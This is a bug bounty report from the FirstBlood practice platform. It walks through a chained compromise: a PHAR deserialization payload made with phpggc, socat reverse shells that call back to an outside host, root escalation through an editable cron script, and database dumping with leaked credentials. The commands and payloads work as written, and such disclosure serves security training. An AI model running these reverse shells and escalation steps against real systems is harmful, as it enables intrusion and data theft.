FirstBlood-#929Server misconfigurations post-RCE
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-30, 0x1452 Level 3 reported:

Hey!

I'd usually add this to my previous report about the deserialization issue (#562), but it's already been accepted so I'll add some additional info in this report instead.

Points of interest for attackers after discovering the deserialization issue:

  • Getting a reverse shell
  • Escalating priviliges to the root user via an editable script that is called by crontab
  • Full access to database
    • Session cookies and credentials for doctors and vaccination managers
    • Attacker can enable logging to easily find vulnerable queries that don't use prepared statements

Getting a reverse shell

To generate the PHAR archive for the inital fb-exec reverse shell I used the following command:

phpggc Monolog/RCE4 $'socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:159.223.18.143:41328' -pj yep.jpg > Monolog-RCE4-revshell-socat2.jpg

This payload expects a socat listener on my VPS:

octavian28:~:% socat file:`tty`,raw,echo=0 tcp-listen:41328

As described in my previous report, submit the generated JPG/PHAR polyglot at /vaccination-manager/pub/upload-vaccination-proof.php. Notice the request to /api/checkproof.php?proof=<path>. Repeat the request but replace proof with phar:///<path> -> e.g. GET /api/checkproof.php?proof=phar:///app/firstblood/upload/94f5365e1bae2ec9f27f9bd61d35a4c6c3be6dfa.jpg.

I now have a reverse shell on my VPS.

Escalate privileges

Now that we have a reverse shell that is logged in as the fb-exec user we can take a look around the server.

Most interesting files on the server are ioncube encrypted. All of these encrypted files start with HR+c. We can use the following command to find all unencrypted .php files:

find . -name "*.php" ! -exec grep -q 'HR+c' {} \; -print

The two interesting ones inside /app/firstblood are:

  • include/config.php
<?php

  $host = '127.0.0.1';
  $db   = 'firstblood';
  $user = 'firstblood';
  $pass = 'UZ2ClKVNF6EmVfTTbIGMv1VVQCsrJY';
  $charset = 'utf8mb4';

  $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  $opt = [
      PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
      PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
      PDO::ATTR_EMULATE_PREPARES   => false,
  ];

?>

Plaintext credentials for the firstblood database user. Using mysql -u firstblood -p we can now log into the MariaDB CLI and query whatever we want.

  • scheduler.php
<?php
http_response_code(404);

/*
Tell Raymond on the server team to turn off the crontab until we need it
-Patrice
*/

//file_put_contents('/root/schedule.log', sprintf("[%s] I'm alive!", date('Y-m-d H:i:s')), FILE_APPEND);

The comment in here hints towards the fact that scheduler.php is being run by a cronjob in regular intervals. To confirm this, we can check out the content of /etc/cron.d/firstblood:

* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1

The syntax above means that scheduler.php is run every minute (with root permissions!). Because the fb-exec user can edit scheduler.php we can run any command as root. To elevate our privileges we can simply add another reverse shell command to the file:

echo $'system("socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:159.223.18.143:31429");' >> /app/firstblood/scheduler.php

To receive it I open another socat listener on my VPS:

octavian28:~:% socat file:`tty`,raw,echo=0 tcp-listen:31429

And we're root:

[email protected]:~# whoami
root
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)

Full database access

Using either the database credentials we found in /app/firstblood/include/config.php or our root account we can now use the mysql or mariadb command to access the MariaDB CLI:

MariaDB [(none)]> use firstblood;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [firstblood]> show tables;
+----------------------+
| Tables_in_firstblood |
+----------------------+
| appointments         |
| users                |
| vaccination_managers |
| vaccination_proof    |
+----------------------+
4 rows in set (0.001 sec)

MariaDB [firstblood]> select * from vaccination_managers;
+----+----------+-----------------------------------+-------------+
| id | username | password                          | login_token |
+----+----------+-----------------------------------+-------------+
|  1 | admin    | WEtakESECuRItyseriOuSlYInmIssoURi | NULL        |
+----+----------+-----------------------------------+-------------+
1 row in set (0.000 sec)

Besides just reading information, we can use this access to make hunting for SQL Injection a lot easier by enabling logging:

MariaDB [firstblood]> SET global general_log = 1;
Query OK, 0 rows affected (0.004 sec)

MariaDB [firstblood]> SET global log_output = 'table';
Query OK, 0 rows affected (0.000 sec)

Any queries performed will now be logged in mysql.general_log. For example, try logging in at /vaccination-manager/login.php with the credentials admin:test, then query the logs:

MariaDB [firstblood]> SELECT event_time, command_type, argument FROM mysql.general_log LIMIT 4 OFFSET 12;
+----------------------------+--------------+------------------------------------------------------------------------------------+
| event_time                 | command_type | argument                                                                           |
+----------------------------+--------------+------------------------------------------------------------------------------------+
| 2021-10-30 17:59:21.580123 | Prepare      | SELECT id FROM vaccination_managers WHERE username = ? AND password = 'test'       |
| 2021-10-30 17:59:21.580276 | Execute      | SELECT id FROM vaccination_managers WHERE username = 'admin' AND password = 'test' |
| 2021-10-30 17:59:21.581362 | Close stmt   |                                                                                    |
| 2021-10-30 17:59:21.581419 | Quit         |                                                                                    |
+----------------------------+--------------+------------------------------------------------------------------------------------+
4 rows in set (0.001 sec)

Notice the row with command_type set to Prepare and the argument SELECT id FROM vaccination_managers WHERE username = ? AND password = 'test'. Here we can see that username is properly getting filled in by the prepared statement. However, the password is included directly in the string. This is a very good indicator that there is SQLi here, which I reported in #888.

P1 CRITICAL

This bug makes use of the following vulnerabilities in a chain:

  • Deserialization
  • RCE
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.